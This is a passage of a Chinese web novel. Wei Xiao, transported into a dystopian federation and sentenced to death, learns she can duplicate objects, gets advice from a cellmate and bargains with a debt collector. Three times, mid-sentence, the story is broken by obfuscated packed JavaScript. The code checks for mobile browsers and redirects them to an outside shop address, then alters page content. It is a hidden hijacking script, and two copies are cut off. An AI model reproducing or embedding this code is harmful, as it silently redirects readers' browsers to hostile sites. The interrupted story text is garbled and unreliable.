按照卫晓过去的认知,这个牢房里的气氛应该十分压抑,但其他三位狱友都该吃吃该睡睡,昨晚卫晓彻夜难眠,能听到对面的绒绒打着浅浅的呼噜,酥七更是格外欢乐,吃完了饭舔干净盘子就拉着卫晓谈天说地,完全不管卫晓一脸如丧考妣。今天大多数时候,这间小小的牢房里都是绒绒沉默地看着酥七和卫晓聊天,四盒坐在卫晓后面,一板一眼地编一根小辫子,空气中莫名充斥着和谐又欢乐的气氛。 至于酥七为什么偏爱卫晓——卫晓怀疑她相信了自己是傻子,还是一个失忆的傻子,她称之为“头不行”。 “你长得很高哎。”酥七伸长了手比划着,声音非常笃定,“很整齐很干净,如果不是头不行怎么会被关这里来,像那个四盒。” 酥七穿着四盒同款白袍,只在蹭脏了点,所以卫晓不懂她现在这身被海水浸-湿又阴干之后臭烘烘的衣服为什么会被称为“很整齐很干净”。相比之下酥七的分享欲更是惊人,她喋喋不休地向卫晓展示过去她在田野上的美好生活——找吃的,换吃的,和酥五酥六两个姐姐,带着酥八到酥三十五等一-大群弟弟妹妹要吃的。 “我可以给你起名叫酥三十六,那你就是我罩的妹妹了。”酥七拍拍卫晓后背,直接把卫晓拍得一个踉跄,“不知道我有没有新的弟弟妹妹了,那样的话只能委屈你再往后排了,你不介意吧。” 不过酥七不会知道自己还有没有弟弟妹妹了,这个房间的四个人风格迥异,但她们都有一个共同点——死刑。她们也只比卫晓来得早了一点,都在这个小房间里等待自己生命的倒计时。 酥七的罪名是盗窃,据酥七自己说,她一个人就背出了四箱,整整八百块“速食”。“我是因为被打上了标才被抓的。”小小的姑娘非常骄傲地向卫晓炫耀,“被抓之前所有速食都发出去了!除了我之外也没有人被抓!” 四盒是非法袭击,这个罪名和她的名字一样,是酥七从她颠三倒四的自言自语中偶然听来的,不知道袭击了谁,为什么袭击。 绒绒只参与过一次聊天,她说了自己的名字,然后介绍自己是杀了人进来的。 “是个三等公民。”绒绒顶着一脸伤疤,说话很轻,“我把他的头剁掉了。” 卫晓大为震撼乃至惊恐,立刻推翻了自己对她“正常”的判断,但酥七和四盒都有一种见怪不怪的淡定,酥七的眼神中甚至带着崇拜。 是的,在穿越的卫晓看来,这个世界混乱得超乎想象,而多亏酥七分享欲旺盛,卫晓终于不是两眼一抹黑了。 酥七说她生活在L16区,旁边是L15和L18。“酥三十六你不知道吧,一个区非常……非常大。”酥七将双臂展开到极致,“有多大呢?我要跑整整一天,才能从一边的围墙跑到另一边的围墙,就有那么大。” “每天早上,田野东边会出现谷堆,能找到各种东西换吃的,或者自己攒着换一个大的吃的。其中最值钱的就是吃的,不是那种一条的速食,是其他吃的。有一次哑巴发现了一块外面黄里面白的,他送我了!我不会念给你写一下,哑巴专门教过我……”,酥七开始在地上乱比划,尾巴一晃一晃的,“我们那的大富豪愿意出二十块速食和两块布来换!可惜我从来没找到过那个,但是!我找到过一百四十八个屏幕,能堆起一座山的电线和能堆起两座山的铁皮,你知道什么是电线吗?电线就是……” 酥七很兴奋,颠三倒四说个不停,但卫晓越听越心凉。酥七觉得她傻,但她不是真傻子,“区”应该是这个世界的一个行政区域,面积不是非常大。而那个“谷堆”可能是垃圾堆,酥七和她的三十五个兄弟姐妹靠捡垃圾过活。 但这不是这个世界的全貌,卫晓还记得自己初来乍到时见到的一切,当时从悬崖上掉下来的女人和她的审讯官看上去就活得挺好,干净整洁。 - 另外的疑点是这个世界太像地球了。晚餐时间结束,卫晓上-床躺下,抛开高科技、超自然事件和畸形的尾巴不谈,她和酥七都说同一种语言,可以相互交流——酥七有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫晓差点把盘子扔出去,她定了定神,眼睛盯着面前的糊糊,手指摸索,确定了那是一把勺子。 和她右手拿的一模一样。 为什么?卫晓想到了那个小药瓶,当时她也在想,要找到更多的瓶子。 她一念之间就可以凭空变出手上的东西?还是背后有个透明人递到了她手上? 再多一把勺子,更多的勺子。 薄薄的被子下,卫晓右手握着晚餐变出来的勺子默念,左手向上摊开。 无事发生。 换手也是。 卫晓闭了闭眼,听见对面的绒绒发出了均匀的呼吸声,不管真假,现在她都不敢乱想,这间牢房小得要命,勺子这种小东西还好说,要是变出张床来就有口说不清了,她不想现在就被拉去解刨。 小东西......发圈! 她唯一的发圈还绑在头顶的一个小辫子上,卫晓尽量自然地将它取了下来,将辫子散开揉揉头皮,假装是不舒服。 好了,再试一次。 更多的发圈! 当发圈轻飘飘的落在手心时,卫晓彻底僵住了。 - “结果。” “你再问也没用!”桌子被敲得砰一声巨响,低沉的男声直接呛了回去。 “您先别急啊,现场那女的审出来真的没问题,我们亲自审的您还不放心吗?”年轻的男声忙不迭出现,“而且伊娃检查了两轮也没问题,进了牢房我们也一直盯着呢,一点问题没有啊,就是个吓破胆的小傻子。” 昏暗的房间里,一排小屏幕亮着白惨惨的光,半明半暗间,照出那粗壮脖颈上的两颗脑袋,一胖一瘦,一只手死死捂住了瘦脸的嘴,另一只拎着耳机,凑到胖脸嘴边。 “放心啊,啊....啊....别急啊别急,我们加班加点地在查呢,明天,明天立马给您出结果可以吧!”胖脸的小眼弯成一条缝,声音恭敬到了谄媚的地步。 嘀—— 通讯挂断,胖脸的笑容立马垮了下来,随手一扔,耳机在墙上摔了个稀烂。 “你哪来的结果给他?”瘦脸的嘴刚恢复自由就怒喷-出声,那双蓝眼睛用力斜过去,恶狠狠地瞪着胖脸,“明天,明天你要现造一个凶手出来吗?只会说得好听,恶心死了!” “没脑子的蠢货急啦?”胖脸专注地盯着面前的屏幕,冷笑一声,“太有趣了,那女的突然自己跑出去死外面了,他们不知道咬成啥样,有心思关心真凶?找个人就行。” “看,现成的。” 屏幕上,一位年轻女性冷漠地盯着镜头。 4. 绒绒 首先,她似乎可以复制手上的东西,复制的东西会出现在另一只手上。卫晓看着漆黑的天花板,尽量让自己的呼吸保持正常。 目前算是试验了三次,不,四次,一次药瓶,两次勺子,一次发圈。第二次实验勺子失败,是因为使用的是复制出的东西? 卫晓又试了复制刚出现的发圈,果然失败了。 再试原来的发圈,同样失败。 那同一物品只能复制一次,复制品不能再复制,复制品至少会维持几个小时不消失。 物体体积限制呢?件数限制呢?活物呢?还有为什么第一次她手上拿着旧的小药瓶,变出来的却是新的? 还有许多问题亟待解答,但身上再没有好藏的小物件,卫晓只能小心地把勺子用发圈藏在胳膊上,翻了个身。 天降神秘超能力,卫晓心里却全无激动,一方面,她似乎可以借此延缓自己的死期,比如主动暴露能力来求一个活命的机会,但风险实在太大了,她对这个世界的了解还太少,尽管酥七没提到过,但万一这就是个超能力世界,大家都各有神通呢?万一被抓走解刨了呢? 另一方面,卫晓也对自己的异变相当不安,她的家乡是唯物主义世界,她是坚定的唯物主义战士,坚信世界基本还是能用科学解释的,现在自己本身发生了无法解释的变化,那她还是她吗?她还能回去吗? 而且现在死亡的倒计时还在追她。一想到那机械女声说的“以麻醉方式执行死刑”,恐惧像潮水一样让她无法呼吸。焦躁中卫晓不自觉地开始咬指甲,她从小就有这个坏毛病,高中时尤其严重,大学倒是没了,在这个鬼地方又犯了。 啪—— 一只修长却带着很多细小伤疤的手把卫晓的指头从嘴边拍开,一点金属光亮在无名指上一闪,卫晓吓了一跳,转头看见四盒自言自语着坐到了床边,刚才一番折腾,满头的小辫散了两根,四盒摸着黑,又给她编辫子来了。 她泡过海水滚过沙滩又不知多久没洗的头发有什么好稀罕的!烦躁中卫晓心头火起,但看着傻笑的四盒,带刺的话在嘴边滚了一圈,还是没出口。 算了,卫晓叹气,把头转了回去,眼不见为净,不和傻子一般见识。 - 又是一夜未眠,早上亮灯的时候,卫晓感受着自己吓人的心跳,怀疑自己在死刑之前就要先猝死了,她能强迫自己吃饭,但真的睡不着觉。 墙上的电子钟叮的一声响,早上七点。靠在她旁边的四盒动了动,醒了,其他人还在睡。 疯了疯了,卫晓坐在床上拍了拍脸,又开始咬指甲。时间怎么这么快,她能清楚地感受到缺乏睡眠带来的可怕影响,持续疼痛的脑子以及始终隐隐约约的饥饿感,但和死亡的恐惧比起来,这一切实在是微不足道。 倒计时两天,但她基本一无所获。 冷静冷静,卫晓余光瞟到四盒又往她这边过来了,转头下床躲进了狭小的卫生间。 今天接触一下绒绒吧,靠在卫生间的门上,卫晓叹了口气,好不容易从混乱的大脑中揪出了一点思路,酥七应该问不出什么有用的了,四盒根本无法交流,只有绒绒看上去最可靠,在牢房里呆着,绒绒应该不至于把自己的脑袋也剁下来。 早餐时间。 绒绒非常准时地在放饭前从床上坐起来了,草草整理了一下头发,正好早饭出现在墙壁的小口上——还是一模一样的糊糊四盘,水四杯,勺子四把。 酥七欢呼一声,率先冲过去端走了最前面的一盘,顺手给卫晓带了一盘——虽然酥七踮起脚尖才到卫晓的胸口,但她还是坚定地认为自己有照顾“酥三十六”的义务。 绒绒不紧不慢地过去,先给了后面的四盒一盘,再端着自己的那盘坐回床上吃。 这时候酥七已经开始舔盘子了。 “真好吃。”酥七满足地感叹,“就是少了点。” 卫晓没搭话,她的注意力此时都在绒绒身上。绒绒端着盘子,盘腿坐在床上,她吃饭没酥七那么埋汰,但同样速度很快,几下扒拉干净,就起身去放盘子了。 此时早餐时间即将结束的提示音响了,那冰凉的机械女声听得卫晓一哆嗦,低头勉强咽了几口,忽然感觉光线暗了下来。 卫晓疑惑抬头。 阴影里,绒绒站在她面前,面无表情地低头看她,草草打理过的短发非常桀骜地炸开着。 卫晓:……? 绒绒没开口,卫晓一下也没敢说话,两个人莫名其妙面对面沉默了一会。 “……先把饭吃了。”最终绒绒先打破了沉默,她那和外表极不相符的轻柔嗓音让卫晓一愣,连忙低头把糊糊都塞进嘴里。 等她放盘子回来的时候,绒绒已经在她床边坐下了,见卫晓过来,下巴点了点示意卫晓也坐,耳边红色的小耳钉一闪。 “什么事?”面对着绒绒伤痕交错的脸,卫晓有点紧张,坐姿愈发拘谨。 ——对面是个剁人脑袋的狠人,想到这个卫晓又咽了口口水。 “这个问题应该问你。”不知是不是察觉到卫晓有点害怕,绒绒移开了目光,转去盯着对面缠着四盒的酥七。 等等你怎么知道……卫晓一愣,混沌的大脑旋即反应过来——绒绒可能、大概、应该注意到自己盯了她一早上了。 脚趾扣了扣地,卫晓忽然发现连续两个晚上的失眠已经让她的思维不太正常了,平时就算想找别人说话也不会一直盯着人家看啊。 “呃……”卫晓急忙搜罗了一下肚子里的问题,好不容易挑了一个。 “就是……你们都不害怕吗哈哈,酥七和四盒先不说,你好像也不担心要死刑……”卫晓说着都有点心虚,谁找死刑犯唠嗑唠死刑?万一人家也只是强作镇定怎么办。 ……但她自己也是死刑,想到这里卫晓悲从中来,两个死刑犯聊死刑,这不就正常了。 “……反正我很害怕。”最后卫晓补充了一句,冰冷的恐惧起起伏伏,她不自觉地又想咬指甲。 “嗯。”卫晓开始说话的时候绒绒就把目光转回来了,她看着蔫巴儿的卫晓,又轻又慢地说,“我也害怕……你想知道有没有脱罪的办法?” “对对对!”超乎意料的,绒绒一下戳中了重点,卫晓精神一振,“我啥都不记得了,稀里糊涂就被关进来,这里也联系不到外面,我……我不想死,还有没有什么办法……” “你的罪名是什么?” “危害联邦稳定、非法偷渡和侮辱一等公民尸体。”卫晓老老实实回答,按照审讯时的发言把醒来之后发生的事情都讲了一遍,略过了小药瓶的事情。 讲完,绒绒沉默了一会,卫晓紧张地看着她,既担心收获一句“没办法”,又害怕被判一句“罪有应得”。 “判你的审讯官是谁?编号还记得吗?”绒绒问了一个意想不到的问题。 “编号有听到过……但我不记得了。”卫晓绞尽脑汁地回忆,审讯开始前她听到过审讯官的编码,但是要记住一串在半昏迷状态下只听了一遍的数字还是太超过了,“我记得审讯官有两个,一个笑眯眯的男人,胖,还有一个非常严肃,又高又瘦,蓝眼睛。” “没印象。”绒绒思索了一下,接着说,“危害联邦稳定这条是因为欠债,联邦规定贷款两百万以上,超期不还,是危害联邦稳定。” “非法偷渡……你之前没有身份编号?那你应该来自北方大陆的,来新海港市没有申请,视为非法偷渡。基因检测之后就给你生成了新的身份编号和芯片,就是你过来的时候贴在手上的东西,上面录了你的全部身份信息。” “侮辱一等公民遗体……这就是严判了,一般这条很宽松的,按照你的描述,不知道为什么会给你加上这条。” “大概是这样。”绒绒的手指轻轻敲了敲床床边,发出轻微的声响,总结到,“没听说过的审讯官,一等公民,严判,你可能卷入了一场比较严重的案子,死者身份非常非常不一般。但你的‘上交’应该主要是欠款问题。三天之后执行,意思是还有变动。之前没有身份编码按理说你借不出钱来,查了你的基因,那就是你血亲的债款落到你头上了,死刑之前,出借方应该会来找你问话,毕竟‘上交’他们就一分钱也拿不到了。” “真的?”听着绒绒有条有理的解释,卫晓都快哭出来了,“那我还有救对吧,谢谢你绒绒。” 同时绒绒的话在心里转了个圈,卫晓维持着欲哭无泪的表情,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351491|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动神色地咽下了如同五雷轰顶的震惊。 血亲。 欠债的原因是血亲的债款落到了自己头上。 这句话带给卫晓的冲击不亚于睁眼发现自己莫名其妙出现在了海滩边然后有个人掉到了自己跟前,她难道不是身穿,是魂穿? 但是不说别的,她醒来的时候穿着自己上火车的衣服没错,左臂上的痣,右腿上的疤,稍微变形的右手中指,一个不差。 怎么回事? “……有救的。”绒绒不知道卫晓惊涛骇浪的内心活动,她顿了一下,静静地看着卫晓说,“出借方问话的时候,记得弄清楚借款的情况。还有这里的看守总欺软怕硬,被为难的时候不要害怕,强硬一点,监控严格,他们不能越过程序对你怎么样的。” “无论如何,在彻底死掉之前都不要放弃。”见卫晓还在出神,绒绒犹豫地抬起手来,拍拍她的肩膀,暖暖的温度压得卫晓忽然就鼻头一酸,“不记得名字了就自己取个吧,不能一直无名无姓的。” “好……”卫晓的声音真的有些哽咽了,彻夜难眠的时候,她无数遍幻想自己一睁眼就回到火车上,妈妈会打电话亲切地叫她晓晓,被她的恶作剧逗笑的朋友会边怒叫卫晓边过来殴打她。 但是没有,不论怎么睁眼闭眼,看到的都只有黑漆漆的天花板,悬崖下的女人,凶手,审讯,死刑,不是梦也不是幻觉。 这是现实,不管是魂穿还是身穿,此时此刻,她就是独自一人来到了一个陌生的,充满恶意的世界。 活下去,卫晓闭眼拦住流泪的冲动,活下去才能找到回家的方法,如果找不到……想到这里卫晓眼泪难以抑制地上涌,急忙打住了想法。 明月何时照我还。 “明月,我叫明月好了。” “好。明月,加油。”绒绒把被子拉过来,就要起身离开,“休息一会吧,你好像一直没睡好。” “好……等等。”卫晓悲伤之余,又在心里过了一遍绒绒的话,忽然抓住了一个新的信息,“那个……我刚听你说的北方大陆是?对不起,我真的忘了好多事情。” “我们所在的地方是未来联邦,联邦首都新海港市。”绒绒没有一点不耐,用手指在空中比划着,“往北边是神国,两大势力水火不容,中间有一段缓冲区,酥七来自那里。身份编码在联邦公民出生注册圆塔系统时就会永久绑定,你之前没有编码,可能是出生在北方的神国或者是缓冲区,但你的血亲之前在联邦有贷款,说明他们是联邦公民。” “他们是逃去了神国吗,为什么?”此时卫晓只想狠狠“问候”那位原身的血亲,“我为什么会到这来?” “这就等你出去之后亲自调查了。”绒绒安静地看着她,惨白的灯光在她的眸子里转成荡漾的柔波——卫晓第一次注意到这个满脸疤痕的狱友有一双颜色很淡的、温柔的灰棕色眼睛。 但是目光很坚定,是那种平静的,知道自己要去做什么的,无论发生什么都波澜不惊的眼睛,就像土地或者树干。 “啊好……对了,谢谢,谢谢你。”那平静的眼睛莫名让焦躁的卫晓有了一点脚踏实地的感觉,回想这段时间,恐惧和长时间缺少睡眠让她的情绪越来越不稳定,更易怒也更容易悲伤,和以往情绪稳定的她简直判若两人。 “没事,睡一会吧。”绒绒起身离开,又回来把自己的被子拿过来给了卫晓,“休息好了才有精力面对那么多事情。” “谢谢你。”卫晓用薄薄的被子把自己卷起来,找了个舒服的姿势努力酝酿睡意,或许是那黑暗的未来终于亮起了一点点微光,在那极其微小的踏实感的安抚下,卫晓久违地感受到了困倦,最终沉入梦乡。 对面,绒绒看着卫晓的呼吸逐渐变得平缓,转头示意旁边的酥七动静小一点。 “你在骗人。”酥七忽然凑过来说,“我猜不会活着出去的,她真的傻得很,那么害怕。” “第一,不是不能出去。”绒绒揉揉酥七的爆炸头,声音轻柔,“第二,恐惧死亡应该是非常正常的,死前能够少受一些折磨终归好些,让她睡一会吧。” “奇怪。”酥七嘟囔一句,还是压低了声音,轻手轻脚地回去研究四盒无名指上的戒指。 5. 三千万 卫晓终究睡不安稳,黑色的沙滩、悬崖下的尸体,微笑的审讯官和宣判死刑的机械女声在她的梦里来回出场,她在黑暗中四处奔跑却一脚踩空,一身冷汗地惊醒了。 睁眼就是酥七凑过来的大脸,小姑娘兴奋的神情倒是盖过了梦里的惊悸,“你醒啦!午饭快了哦,你不想吃就我吃。” “我吃我吃,”卫晓缓了缓,起身下床,先把绒绒的被子还了回去。再次表示感谢。不管怎样,睡了一会还是让她的精神好了点,她勉强扒拉完了午饭,继续装傻子和酥七聊天,绒绒又躺下了,四盒在试图把她的辫子编成更大的辫子。 “1XV202509081028。”一片祥和中,忽然响起的机械女声让卫晓狠狠打了个哆嗦,猛地站了起来,“有您的见面申请。” 随着哔的一声响,墙壁滑开,与审讯时一模一样的金属桌椅静静地笼罩在惨白的灯光下,卫晓感觉自己的手开始轻微颤-抖,其他人都没动,在叫她? 但绒绒不知何时站在了她身后,没做声,只是拍了拍卫晓的肩膀,示意她过去。酥七也跳过来,对她比了一个大拇指。 或许是狱友们的存在给了她一些虚无缥缈的勇气,卫晓紧张地咽了口唾沫,过去坐在椅子上,铁环合拢,就像之前那样将她的手脚和身体固定在了桌椅上,墙壁合拢,机械运行声中,房间开始移动。 能感觉出来在上升,惨白的灯光中,卫晓放缓呼吸,让自己平静下来,如果绒绒没说错,这可能是她唯一的活命机会。 “伊娃,请问提出见面申请的是谁?” 卫晓语速飞快,趁着房间还没“到站”,她要试着掌握尽可能多的信息。 “和合投资的吴先生,他申请与您见面,商讨有关您的血缘父亲1951041223,在二十三年前向和合投资借贷大笔钱款后失踪的事宜。”机械女声响起,伊娃果然回答了。 “那位…不,我父亲现在有下落吗?” “暂时没有任何信息,但记录显示他二十三年北上离开了国境。” 北上,卫晓心念一动,绒绒猜测身体原主是从北方偷渡过来,看来有道理。正欲再问,房间忽然停下了,机械声停止,整个房间陷入了一种可怕的寂静中。 “吴先生,”卫晓直直注视着之前审讯官出去的地方,心里默念了一遍这个称呼。她获得了一些很有价值的信息,现在要正式面对与“敌人”战斗了。 那面墙却没有按照卫晓预想的那样滑开,而是头顶光束一闪,一个眼袋要掉到地上的中年男人西装革履地坐在了卫晓对面,鼻梁上架着一个方框眼镜,透过他微微扭曲的身体还能看到对面的墙壁。 “下午好,呃我看看,1XV202509081028,小姐。”他推推眼镜,眼神向下撇,似乎在看什么东西,声音听上去和他一样死气沉沉,同时有文字记录出现在了他脸旁边的屏幕上,“我来自和合投资,我姓吴,现就您父亲,1XO197104120323,二十三年前在我司借贷两千六百万联盟币一事……” “两千六百万!”正仔细听吴先生说话的卫晓一惊,脱口而出,“您说他欠了两千六百万?” “是的。”吴先生没在在意说话被打断,他又推了一下眼镜,“准确来说,加上利息,到今天是三千一百三十二万零六千八百二十六点三……” 他慢吞吞地说,旁边的文字记录一点一点的出现,卫晓看着那串长得可怕的数字,将那位“父亲”生吞活剥的心都有了。 “您现在对这个数字或许没什么概念。”一口气念完那串长得可怕的数字,吴先生继续慢吞吞地说,“您被判‘上交’,身上也没有任何改装,是个“白条”,所以即使按最高价格算,能带来的价值也就大约五十三万四千三百二十七联邦币,而您父亲失踪二十三年,按照联邦规定他已经被登记为死亡,所以这笔债务由作为亲子的您继承……” “我没有继承他的任何遗产,我能放弃这笔债务吗?”卫晓已经不想去思考这笔钱究竟有多少了,她勉强回忆着之前营销号刷到的法律小知识,开始挣扎。她不能否认自己的身份,否则她的来历将成为另一个大问题,但现在这个身份的危机大得可怕。 三千万!!!她长这么大就没见过这么多钱! “看来您不太了解相关规定。”吴先生语气中带上了不耐,“联邦规定债务随亲属关系继承,与遗产无关,您是我们找到的唯一亲属。” “……您知道我因为这笔欠债被判死刑,就在明天。”一击不成卫晓转换思路,她盯着半空中的吴先生,“我是否可以申请缓刑,打工还钱,减少你们的……” “评估之后,我方不认为你有还上这笔钱的能力。”吴先生发出了一声嗤笑,打断了她的话,“麻烦您不要浪费我的时间。” “……那您要找我商谈的事情是?” “我需要你的授权。”吴先生终于抬眼扫了一眼卫晓,他手一挥,一个简洁的、文本框一样的东西出现在文字记录区域,随后下滑到了卫晓手指旁边,上面是一段文字,下边是一个被框起来的“接受”,卫晓手指一动就可以点到,“点接受,你的债务和死刑判决一笔勾销。” “身份编号1XV202509081028,依据《联邦公民条例》规定,自愿转移全部公民权至和合投资。”文本框里只有这短短的一句话,但卫晓眼尖地瞟到了左下角还有一个小小的“详细信息”。 “等等!”卫晓将手指抬得高高的,防止误触,“那个‘详细信息’是什么?” “这不重要……” “不,这重要。”卫晓大声打断了吴先生的话,她抬头盯着吴先生耷拉着的小眼睛,后者正烦躁地翻看着手上的什么东西,“希望您理解,我要知道详细信息里面有什么。” “唉——太麻烦了。”吴先生发出了一声疲惫的叹息,手指移动了一下,“都怪判罚的……” 瞬间,一长串,不,一-大片文字从那个小小的文本框里展开来,在卫晓面前展开了一道文字瀑布,一行行小字飞快划过。 实验……自愿……接受所有安排……不需赔偿…… 文字从眼前闪过,卫晓根本来不及读完每一行文字,但捕捉到的几个关键词已经让她寒毛都炸起来了,双手固定在桌子上移动不得,她只能把手指举得更高,隔着闪烁的文字死死盯着吴先生,字正腔圆地拒绝:“我不签这个!我不接受!” 滑-动的文字终于到底,吴先生眉头皱了皱,卫晓心里一跳,以为他要发作,但他忽然又长叹了一口气,抬眼注视卫晓,整个人看上去疲惫极了,声音都充满了苦涩:“小姑娘啊,当年是我为您父亲发放了这笔钱,二十多年了,你知道我为了这笔钱吃了多少苦吗?我的一辈子都这么断送了,你不能这样,只要你签了这个,我就……” “但这与我有什么关系?”吴先生的发言让卫晓一愣,但没听一半就一口回绝,“您要知道,我那时候还没出生,我什么都不知道。” 他不能拿我怎么样,从吴先生的态度里,卫晓嗅到了一丝机会,和判刑的审讯官不同,吴先生没有任何权力直接处理自己,他需要那个“授权”。 “聪明的小姑娘。”面对卫晓直截了当的发言,吴先生揉了揉太阳穴,脸色愈发疲惫,“那我也直说,不签,明天死刑准时执行,签了,我可以带走你。” “然后生不如死吗?”卫晓嘴上反问,心里却又沉了沉,吴先生所言不虚,他不能拿自己怎么样,但是死刑的最后期限摆在那里。 “可以带走”、“债务随亲属关系继承”、“北上离开了国境”、“两大势力水火不容”、“长得很高,还很整齐很干净。”……两天来获得的信息一条条排列,卫晓呼出一口气,决定冒一把险。 “我父亲失踪二十三年,按照联邦规定他已经被登记为死亡——这是您刚才说的,没错吧。”仰视着那双满是不耐的眼睛,卫晓心跳如鼓,但是吐字清晰:“那我也直说,我父亲没死,他在北方的神国活得好好的。” “证明。”吴先生看上去无动于衷,只吐-出冷冰冰的两个字。 “我的存在就是证明。”卫晓放松了肩背,向后靠上座椅,微微抬起了下巴,“如您所见,我的确是个‘白条’,但是我身体健康、头脑敏捷,我不可能一个人在这里把自己养得这么好。” “我的确不知道我父亲卷款潜逃——还是卷走了那么多,但在我零星的记忆里他生活优渥,衣食无忧,我应该也享受到了这笔钱,所以让我离开监狱,我把他揪出来还钱。” 吴先生身体微微向前:“忽然这么自信?在神国生活这么好,怎么还会落到这来?” “我失忆了,您不知道吗?”卫晓的语气更理直气壮了,“但我的记忆在恢复,我知道我父亲送我上船,我应该在新海港市顺利上岸。而且请抓住重点,给我一些时间,我可以让他把钱全部还上,这才是你们关心的吧。” “这是在联邦的地盘。”吴先生表情不变,眼神毫不在意地移向别处,但卫晓判断他在考虑了——屏幕虚化的角落里,卫晓瞟见他搭在桌子上的手指轻轻敲击着桌面,“胆子真大,一个偷渡的奸细,光明正大地承认了。” 他相信了,卫晓心里稍微放松了一点,脸上不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……不然这边也不放人,对吧?”尽管心脏即将在恐惧中爆炸,卫晓面上还是一片镇定,她盯着吴先生,不紧不慢地补充了一句。 吴先生对审判官表达过不满,不能直接干涉判决结果,卫晓不敢去想猜错的后果,只能抓住那一点异常拼命说服自己,阻止吴先生带走自己的,一定要签授权的理由,是监狱?绒绒说过“监视严格”,是指监狱在监视他们的对话?如果她没有自愿签署授权,吴先生就不能带走自己? “脑子不错。”吴先生终于开口了,他低头,不知在操作什么。那种沉重的注视感猛地松懈,在吴先生看不见的地方,卫晓后背尽湿。 她猜对了。 又一个文本框出现在了卫晓手边。 “身份编号1XV202509081028,依据《联邦公民条例》规定,自愿授权转移全部公民权限至和合投资,该授权正式生效日期为2020年3月25日00:00。补充:1XV202509081028自愿接受边界监控芯片。”卫晓一字一句读过去,看到了下面一模一样的“接受”选项。 “麻烦您再打开详细信息让我看一下吧。” 吴先生没再说什么,文字的瀑布重新在卫晓眼前铺开,慢慢滑-动,卫晓眯着眼睛,逐行读过去。 …… “谢谢您。”终于滑倒最后一行,文字收回,变回了那个文本框,静静地投影在她手边的桌子上。卫晓疲惫地闭了闭眼睛,脑子痛得要炸开。 她清楚了六个月后会面对的一切,这玩意儿就是个全方位的卖身契,从精神到身体都逃不过,那个边界监控芯片则将植入她的颈椎,一旦试图取出或者离开联盟边境线立马让她身首分离。 但她已经别无选择,卫晓深吸一口气,睁眼看着那个“接受”。 争气一点啊,卫晓才发现不知何时自己双拳紧握,在手心留下了深深的指甲印,她的手仿佛已经不是自己的,用尽全力才能松开拳头,抬起一根颤-抖的手指,移到了“接受”上方。 妈妈,我想回家,卫晓牙关发颤,点了下去。 那个小小的“接受”方框一亮,炸开了一朵小小的烟花,上面的文字换成了“您已接受”。一串闪动的小数字出现在下面,是倒计时——从月,到天,到小时,到分钟,到秒,到毫秒,数字正在飞快减少。 “审查官大人,现在我可以带她离开了吧。”吴先生忽然出声,眼睛却望向一边,卫晓一愣,意识到这场谈判还有第三个人。 “我直说了。”是一个有点尖的女声,“不能。” 6. 灰巢 “这和我们谈好的不一样。”吴先生摘下眼镜揉了揉鼻梁,“您或许能给我一个理由?” “给你们的条件是,授权生效,权限转移,人带走。”女声不紧不慢地说。 “她已经接受了,按规定授权已经生效。” “权限转移了?” “……没有。” “那你在想什么,不能改啦,六个月生效,六个月后权限才转移,你在想什么好事。”女声带上了一丝嘲讽意味。 吴先生神情微变,但他没再说话,目光转向了卫晓,卫晓刚刚放松一些的神经又猛地绷紧了,从说话内容看,她猜测女声是监狱方代表,一波未平一波又起,现在要过监狱这关了。 “除了授权,还有什么条件可以让吴先生带我离开这里?”卫晓试探着问,对于监狱方的这位审查官大人她一无所知,无从下手。 女声没有出声,回答她的是吴先生:“我方支付一百二十万。” 卫晓也沉默了,她这个人拆开能只卖五十三万,监狱方真是看得起她。 “怎么,和合有兴趣?”审查官开口了,“或者让这个放弃麻醉死刑,和其他的一起明天去灰巢,这两天缺人。” “活着出来皆大欢喜。”女声带上了一点笑意,“你满意,我满意,大家都满意。” “活着出来”,卫晓的手抖了一下,听上去不太妙。她想起来审判官说过因为她诚实,所以为她申请了麻醉死刑,原来这是一种优待吗? 还有,“灰巢”? 看着吴先生脑袋边滚动的文字记录,卫晓确定这个“灰巢”和她复制出的小药瓶上的“灰巢”是同一个词组,“去灰巢”,“灰巢”是某个地点?是这个世界的特殊区域? “大部分灰巢死亡率不高。”吴先生似乎挺满意,“让他们进灰巢是为了?我方或许可以考虑一下这个条件。” 卫晓问题到了嘴边又咽回去了,从吴先生的反应来看,“灰巢”在这个世界不罕见,她贸然询问有风险。用了“大部分”这个表述,说明“灰巢”不是一片区域而是不止一处?“灰巢”可以致命,但死亡率有限,相比麻醉死刑这种必死结局,似乎是更好的选择。 但卫晓想到死就抑制不住害怕,读书上课考试吃吃喝喝,过去二十年,她从未实打实面对过死亡威胁。 没事没事没事,卫晓反复念叨着安慰自己,死亡率不高,自己会是活下来的那个,再怎么样也会比那什么人道的麻醉死刑好。 “一些协助工作而已,这段时间有六个活着出来了哦。”女声带上了一点戏谑的恶意,将卫晓的注意力拉了回来,她竖高了耳朵,不敢错过一点信息。 “派去了?”吴先生追问。 “将近三百吧。” 三百。 轻巧的两个字砸的卫晓久久不能回神,不是十三个,甚至不是三十,而是三百。 出来的有六个。 这和直接死刑有什么区别?? 卫晓控制不住那副平静的表情了,她就像审讯时那样低下了头,手脚发麻,大脑一片空白。 “灰巢”究竟是什么??她不管怎么挣扎都要死掉吗??不行不行不行—— 要说出自己有能力吗! 但这个念头一出现,就被狠狠否定了,没有缘由,她就是莫名抗拒这个决定。 那只能...... 